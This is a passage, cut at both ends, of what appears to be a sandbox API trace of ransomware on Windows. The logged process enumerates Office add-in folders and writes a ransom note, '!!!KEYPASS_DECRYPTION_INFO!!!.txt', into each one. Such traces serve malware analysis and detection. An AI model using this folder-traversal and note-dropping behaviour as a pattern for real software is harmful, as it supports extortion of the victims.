(pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0249.926] FindNextFileW (in: hFindFile=0x38ffd30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.926] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0249.926] FindNextFileW (in: hFindFile=0x38ffd30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.926] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0249.926] FindNextFileW (in: hFindFile=0x38ffd30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.926] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0249.926] FindNextFileW (in: hFindFile=0x38ffd30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.926] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0249.926] FindNextFileW (in: hFindFile=0x38ffd30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0249.926] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0249.926] FindNextFileW (in: hFindFile=0x2e79d58, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0249.926] FindNextFileW (in: hFindFile=0x2e799d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0249.926] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.DLL") returned=".DLL" [0249.926] FindNextFileW (in: hFindFile=0x2e799d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0249.926] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML") returned=".XML" [0249.926] FindNextFileW (in: hFindFile=0x2e799d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0249.926] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSSPC.ECF") returned=".ECF" [0249.927] FindNextFileW (in: hFindFile=0x2e799d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0249.927] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\otkloadr_x64.dll") returned=".dll" [0249.927] FindNextFileW (in: hFindFile=0x2e799d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0249.927] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\OUTEX.ECF") returned=".ECF" [0249.927] FindNextFileW (in: hFindFile=0x2e799d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0249.927] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\OUTEX2.ECF") returned=".ECF" [0249.927] FindNextFileW (in: hFindFile=0x2e799d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0249.927] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\OUTLVBA.DLL") returned=".DLL" [0249.927] FindNextFileW (in: hFindFile=0x2e799d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0249.927] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PMAILEXT.ECF") returned=".ECF" [0249.927] FindNextFileW (in: hFindFile=0x2e799d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0249.927] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0249.927] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0249.927] GetLastError () returned 0x3f0 [0249.927] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0249.927] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0249.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power map excel add-in\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8 [0249.940] GetFileType (hFile=0x7a8) returned 0x1 [0249.940] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0249.940] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0249.940] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0249.940] WriteFile (in: hFile=0x7a8, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0249.941] WriteFile (in: hFile=0x7a8, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0249.941] CloseHandle (hObject=0x7a8) returned 1 [0249.941] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x38fff30 [0249.941] FindNextFileW (in: hFindFile=0x38fff30, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0249.941] FindNextFileW (in: hFindFile=0x38fff30, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0249.941] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0249.941] FindNextFileW (in: hFindFile=0x38fff30, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0249.941] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\DATATRANSFORMERWRAPPER.DLL") returned=".DLL" [0249.941] FindNextFileW (in: hFindFile=0x38fff30, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0249.941] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\EXCELPLUGINCORE.DLL") returned=".DLL" [0249.941] FindNextFileW (in: hFindFile=0x38fff30, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0249.941] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\EXCELPLUGINDATAPROVIDER.DLL") returned=".DLL" [0249.941] FindNextFileW (in: hFindFile=0x38fff30, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0249.941] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\EXCELPLUGINSHELL.DLL") returned=".DLL" [0249.941] FindNextFileW (in: hFindFile=0x38fff30, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0249.942] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\MICROSOFT.DATA.RECOMMENDATION.CLIENT.CORE.DLL") returned=".DLL" [0249.942] FindNextFileW (in: hFindFile=0x38fff30, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0249.942] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\MICROSOFT.DATA.RECOMMENDATION.COMMON.DLL") returned=".DLL" [0249.942] FindNextFileW (in: hFindFile=0x38fff30, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0249.942] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\POWERMAPCLASSIFICATION.DLL") returned=".DLL" [0249.942] FindNextFileW (in: hFindFile=0x38fff30, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0249.942] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\VISUALIZATIONCHART.DLL") returned=".DLL" [0249.942] FindNextFileW (in: hFindFile=0x38fff30, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0249.942] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\VISUALIZATIONCHARTCOMMON.DLL") returned=".DLL" [0249.942] FindNextFileW (in: hFindFile=0x38fff30, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0249.942] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\VISUALIZATIONCOMMON.DLL") returned=".DLL" [0249.942] FindNextFileW (in: hFindFile=0x38fff30, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0249.942] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\VISUALIZATIONCONTROL.DLL") returned=".DLL" [0249.942] FindNextFileW (in: hFindFile=0x38fff30, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0249.942] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\VISUALIZATIONDIRECTX.DLL") returned=".DLL" [0249.942] FindNextFileW (in: hFindFile=0x38fff30, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0249.942] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\VISUALIZATIONENGINE.DLL") returned=".DLL" [0249.942] FindNextFileW (in: hFindFile=0x38fff30, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0249.942] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\VISUALIZATIONGRAPHICS.DLL") returned=".DLL" [0249.942] FindNextFileW (in: hFindFile=0x38fff30, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0249.942] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\WPFEXTENSIONS.DLL") returned=".DLL" [0249.942] FindNextFileW (in: hFindFile=0x38fff30, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0249.942] FindNextFileW (in: hFindFile=0x2e799d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0249.942] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0249.942] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0249.943] GetLastError () returned 0x3f0 [0249.943] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0249.943] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0249.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ac [0249.968] GetFileType (hFile=0x7ac) returned 0x1 [0249.968] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0249.968] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0249.968] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0249.968] WriteFile (in: hFile=0x7ac, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0249.969] WriteFile (in: hFile=0x7ac, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0249.970] CloseHandle (hObject=0x7ac) returned 1 [0249.970] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x38ffdb0 [0249.970] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0249.971] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0249.971] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0249.971] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0249.971] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\AdHocReportingExcelClient.dll") returned=".dll" [0249.971] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0249.971] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0249.971] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0249.971] GetLastError () returned 0x3f0 [0249.972] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0249.972] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0250.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ar\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a4 [0250.015] GetFileType (hFile=0x7a4) returned 0x1 [0250.016] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0250.016] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0250.016] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0250.017] WriteFile (in: hFile=0x7a4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0250.018] WriteFile (in: hFile=0x7a4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0250.019] CloseHandle (hObject=0x7a4) returned 1 [0250.019] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x38ffdf0 [0250.020] FindNextFileW (in: hFindFile=0x38ffdf0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.020] FindNextFileW (in: hFindFile=0x38ffdf0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.021] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0250.021] FindNextFileW (in: hFindFile=0x38ffdf0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.021] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\AdHocReportingExcelClient.dll") returned=".dll" [0250.021] FindNextFileW (in: hFindFile=0x38ffdf0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.021] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0250.021] FindNextFileW (in: hFindFile=0x38ffdf0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.021] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0250.021] FindNextFileW (in: hFindFile=0x38ffdf0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.021] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0250.021] FindNextFileW (in: hFindFile=0x38ffdf0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.021] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0250.021] FindNextFileW (in: hFindFile=0x38ffdf0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.021] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\PowerViewRes.ar.xap") returned=".xap" [0250.021] FindNextFileW (in: hFindFile=0x38ffdf0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0250.021] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0250.021] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0250.022] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0250.022] GetLastError () returned 0x3f0 [0250.022] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0250.022] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0250.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\bg\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b4 [0250.039] GetFileType (hFile=0x7b4) returned 0x1 [0250.039] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0250.039] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0250.039] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0250.041] WriteFile (in: hFile=0x7b4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0250.041] WriteFile (in: hFile=0x7b4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0250.041] CloseHandle (hObject=0x7b4) returned 1 [0250.042] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x38ffe30 [0250.042] FindNextFileW (in: hFindFile=0x38ffe30, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.042] FindNextFileW (in: hFindFile=0x38ffe30, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.042] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0250.042] FindNextFileW (in: hFindFile=0x38ffe30, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.042] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\AdHocReportingExcelClient.dll") returned=".dll" [0250.042] FindNextFileW (in: hFindFile=0x38ffe30, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.042] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0250.042] FindNextFileW (in: hFindFile=0x38ffe30, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.042] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0250.042] FindNextFileW (in: hFindFile=0x38ffe30, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.042] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0250.042] FindNextFileW (in: hFindFile=0x38ffe30, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.042] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0250.042] FindNextFileW (in: hFindFile=0x38ffe30, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.042] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\PowerViewRes.bg.xap") returned=".xap" [0250.042] FindNextFileW (in: hFindFile=0x38ffe30, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0250.043] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0250.043] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png") returned=".png" [0250.043] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0250.043] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0250.043] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0250.043] GetLastError () returned 0x3f0 [0250.043] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program 